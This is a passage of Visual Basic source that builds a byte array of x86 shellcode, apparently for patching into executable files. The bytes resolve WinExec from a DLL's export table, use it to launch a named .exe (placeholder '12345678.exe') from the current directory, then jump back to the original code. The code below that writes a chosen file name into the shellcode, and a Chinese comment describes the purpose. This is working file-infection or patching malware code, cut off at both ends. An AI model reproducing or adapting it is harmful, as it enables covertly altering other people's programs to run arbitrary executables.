PatchCode(63) = &H4 PatchCode(64) = &H75 PatchCode(65) = &HE7 PatchCode(66) = &H8B PatchCode(67) = &H5A PatchCode(68) = &H24 PatchCode(69) = &H3 PatchCode(70) = &HDF PatchCode(71) = &H66 PatchCode(72) = &H8B PatchCode(73) = &HC PatchCode(74) = &H4B PatchCode(75) = &H8B PatchCode(76) = &H5A PatchCode(77) = &H1C PatchCode(78) = &H3 PatchCode(79) = &HDF PatchCode(80) = &H8B PatchCode(81) = &H4 PatchCode(82) = &H8B PatchCode(83) = &H3 PatchCode(84) = &HC7 PatchCode(85) = &H89 PatchCode(86) = &H45 PatchCode(87) = &H40 PatchCode(88) = &H68 PatchCode(89) = &H78 PatchCode(90) = &H65 PatchCode(91) = &H63 PatchCode(92) = &H0 PatchCode(93) = &H68 PatchCode(94) = &H57 PatchCode(95) = &H69 PatchCode(96) = &H6E PatchCode(97) = &H45 PatchCode(98) = &H54 PatchCode(99) = &H57 PatchCode(100) = &HFF PatchCode(101) = &H55 PatchCode(102) = &H40 PatchCode(103) = &H89 PatchCode(104) = &H45 PatchCode(105) = &H8 PatchCode(106) = &H6A PatchCode(107) = &H0 PatchCode(108) = &H68 PatchCode(109) = &H2E PatchCode(110) = &H65 PatchCode(111) = &H78 PatchCode(112) = &H65 PatchCode(113) = &H68 PatchCode(114) = &H35 PatchCode(115) = &H36 PatchCode(116) = &H37 PatchCode(117) = &H38 PatchCode(118) = &H68 PatchCode(119) = &H31 PatchCode(120) = &H32 PatchCode(121) = &H33 PatchCode(122) = &H34 PatchCode(123) = &H54 PatchCode(124) = &HFF PatchCode(125) = &H55 PatchCode(126) = &H8 PatchCode(127) = &H61 PatchCode(128) = &HE9 ''''''''''''''''''''''''''''''''''''''''''''''调用winexec执行当前目录下某文件的Shellcode Dim i As Long, p As Long, q As Long
If Len(strRunFile) > 12 Then MsgBox "要运行的文件的长度太长了，俺的Shellcode写不下···", , "MSGBOX": Exit Function
PatchCode(119) = "&H" & Hex(Asc(Mid(strRunFile, 1, 1))) strRunFile = Mid(strRunFile, 5, Len(strRunFile) - 4)
If Len(strRunFile) > 4 Then
PatchCode(113 + i) = "&H" & Hex(Asc(Mid(strRunFile, i, 1))) |
